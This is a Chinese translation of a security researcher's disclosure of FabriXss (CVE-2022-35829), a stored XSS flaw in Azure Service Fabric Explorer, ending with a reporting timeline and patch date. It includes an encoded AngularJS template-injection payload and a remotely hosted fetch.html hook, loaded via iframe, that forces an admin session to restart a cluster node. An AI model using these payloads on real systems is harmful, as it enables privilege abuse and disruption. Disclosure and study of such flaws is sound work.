FabriXss (CVE-2022-35829)：使用CSTI和存储XSS来滥用自定义角色用户

FabriXss（读作“fabrics”）是由位于 Azure Service Fabric Explorer (SFX) 中的漏洞，允许攻击者获得对 Service Fabric 群集的完全管理员权限。

Microsoft Azure Service Fabric是一个分布式系统平台，用于大规模打包、部署和管理无状态和有状态的分布式应用程序和容器。Service Fabric 可在 Windows 和 Linux、任何云、任何数据中心、跨区域或笔记本电脑上运行。

下面我们将描述攻击者如何潜在地利用 FabriXss 漏洞获得完整的管理员权限。

通过仪表板 UI（CreateComposeApplication 角色）创建新应用程序时，用户需要提供以下内容：

1. 应用名称。

2. 上传 yml/yaml 文件或手动添加 yml/yaml 模板。

通过 SFX Github 存储库查看代码时，似乎用户输入是通过 angularJS 模板提供和呈现的。我们可以通过查看以下内容来验证这一点：

https://github1s.com/microsoft/service-fabric-explorer/blob/HEAD/src/Sfx/App/Scripts/Utils/Utils.ts#L112

通常，在处理 angularJS 模板时，我们经常尝试 CSTI/SSTI payload，例如 –

但这里的情况并非如此，我们可以从以下 CSTI payload“ {{7*7}} ”中看到：

一个更复杂的payload，如“ #{7*7} ”正在呈现，但没有作为 angularJS 表达式执行。当“ #{{7*7}} ”payload被发送并被执行时，任何突破的第一个迹象就出现了——

我们可以看到应用程序名称更改为——

这表明我们设法通过 AngularJS 执行了一个模板表达式。

为了验证它，我们可以将以下payload作为 PoC 发送——

但是由于当输入“空格”时用户输入被拒绝，我们将不得不删除它。此外，由于 ‘$’ 也不被接受，我们将对所有内容进行 HTML 编码。最后，我们将添加“#”来转义所有内容，并将payload作为应用程序名称发送 –

#{{x = {'y':'& #x27;.constructor ;.prototype};& #x20;x['y'].charA ;t=[].join;$e& #x76;al('x=alert( ;1)');}}

我们可以看到正在创建应用程序。然后我们点击屏幕右上角的刷新按钮来刷新列表——

为了从 CSTI 突破到 XSS，我们需要准确了解应用程序名称是如何创建和格式化的。关注我们当前的有效应用程序（nginx），我们可以看到“ fabric:/ ”被附加到它应该是这样的。

由于我们的应用程序名称是在 <a></a> 标记中设置的，因此我们可以尝试通过添加各种 html 标记来转义它，例如 –

我们从屏幕截图中看到，我们设法摆脱了 angularJS 类，并打开了一个新的 <style></style> 标记，其中的内容（虽然 UI 应用程序名称中缺少）但清楚地呈现在 html 正文中。

下一步是通过发送精心制作的payload来演示它，例如 –

为了滥用存储型 XSS，我们将在 Deployer 用户（我们的自定义客户端用户）的帮助下创建一个应用程序。接下来，我们尝试滥用管理员角色来重置其中一个节点。

查看
https://github1s.com/microsoft/service-fabric-explorer/blob/HEAD/src/SfxWeb/src/app/services/rest-client.service.ts#L294

我们可以看到，重置 Node 的 API 端点应该类似于以下内容：

[https://{EXPLORER_ENDPOINT}:19080/Nodes/{Node_NAME}{Node_ID}/$/Restart?api-version={API_VERSION}](https://{EXPLORER_ENDPOINT}:19080/Nodes/_{Node_NAME}_{Node_ID}/$/Restart?api-version={API_VERSION}&_x_tr_sl=auto&_x_tr_tl=zh-CN&_x_tr_hl=zh-CN)

我们的payload将经过两个步骤 –

1. 通过 Iframe 标签实现，从远程服务器发送对名为fetch.html文件的hook文件的请求。

2. 抓取 fetch.html文件后，它将向 Delete Node API Endpoint 发送fetch请求。

“hook”将是一个带有 fetch 功能的 html——

┌──(root㉿kali)-[/var/www/html]└─# cat fetch.html <script> fetch("[<https://privesc.eastus.cloudapp.azure.com:19080/Nodes/_Type375_0/$/Restart?api-version=3.0>](<https://privesc.eastus.cloudapp.azure.com:19080/Nodes/_Type375_0/$/Restart?api-version=3.0>)",{ "headers": { "accept": "application/json, text/plain, */*", "content-type": "application/json;charset=UTF-8","sec-fetch-mode": "cors","sec-fetch-site": "same-origin","sfx-build": "[Dev]","sfx-version": "5.7","x-servicefabricclienttype": "SFX"},"referrer":[<https://privesc.eastus.cloudapp.azure.com:19080/Explorer/old.html>](<https://privesc.eastus.cloudapp.azure.com:19080/Explorer/old.html>)","referrerPolicy": "strict-origin-when-cross-origin","body": "{\"NodeInstanceId\":\"133045463907856590\"}","method": "POST","mode": "no-cors","credentials": "include"});</script>

从上面的代码可以看出，我们将重点关注以下Node id-

133045463907856590 ( _TYPE375_0)

我在远程 Kali 机器上启动一个 Apache 服务器，并在/var/www/html/下托管fetch.html ，然后组合所有内容并发送我们的payload。然后将配置 ngrok 服务器并将其映射到我们的 Apache 8080 端口。

为了提供 HTTPS 端点而不仅仅是 HTTP 端点，我们同时使用了 ngrok 和 Apache 服务器（而不仅仅是 Apache）。然后，我们将查看负责创建应用程序的 API 端点，这样我们就可以更轻松地发送payload，并且不需要处理应用程序名称的编码和转义不同的字符。

https://github1s.com/microsoft/service-fabric-explorer/blob/HEAD/src/Sfx/App/Scripts/Controllers/AppsViewController.ts#L113

我们将发送一个演示应用程序来验证 API Endpoint –

我们的漏洞利用：

现在漏洞利用已经准备就绪，我们需要做的就是使用我们当前的 Deployer 用户（Batman）测试payload。我发送了payload，片刻之后按下仪表板中的小刷新按钮（不是浏览器刷新）。“恶意”应用程序将出现，我们的payload将被执行。

现在正如我们所提到的，由于仪表板包含各种类型的用户（客户端和管理员），我们可以通过使用发送的精心设计的payload强制管理员重置其中一个集群节点来展示在这种情况下如何滥用存储的 XSS由我们的部署用户（部署用户自定义角色允许他创建应用程序）。

• Orca 于 2022 年 8 月 11 日通过 MSRC VDP 向 MSRC 报告了该漏洞

• MSRC 于 2022 年 8 月 16 日返回并开始调查该问题

• MSRC 努力于 2022 年 9 月 1 日删除旧版本

• 2022 年 9 月 6 日与 MSRC 和 Orca 团队通话讨论该漏洞

• MSRC 于 2022 年 10 月 11 日为该漏洞分配了 CVE-2022-35829

• 修复已包含在 2022 年 10 月 11 日星期二的 Microsoft 2022 年 10 月补丁中

本文为译文，原文链接：https://orca.security/resources/blog/fabrixss-vulnerability-azure-fabric-explorer/

【火线Zone云安全社区群】

进群可以与技术大佬互相交流

进群有机会免费领取节假日礼品

进群可以免费观看技术分享直播

识别二维码回复【社区群】进群

火线Zone是[火线安全平台]运营的云安全社区，内容涵盖云计算、云安全、漏洞分析、攻防等热门主题，研究讨论云安全相关技术，助力所有云上用户实现全面的安全防护。欢迎具备分享和探索精神的云上用户加入火线Zone社区，共建一个云安全优质社区！

如需转载火线Zone公众号内的文章请联系火线小助手：hxanquan（微信）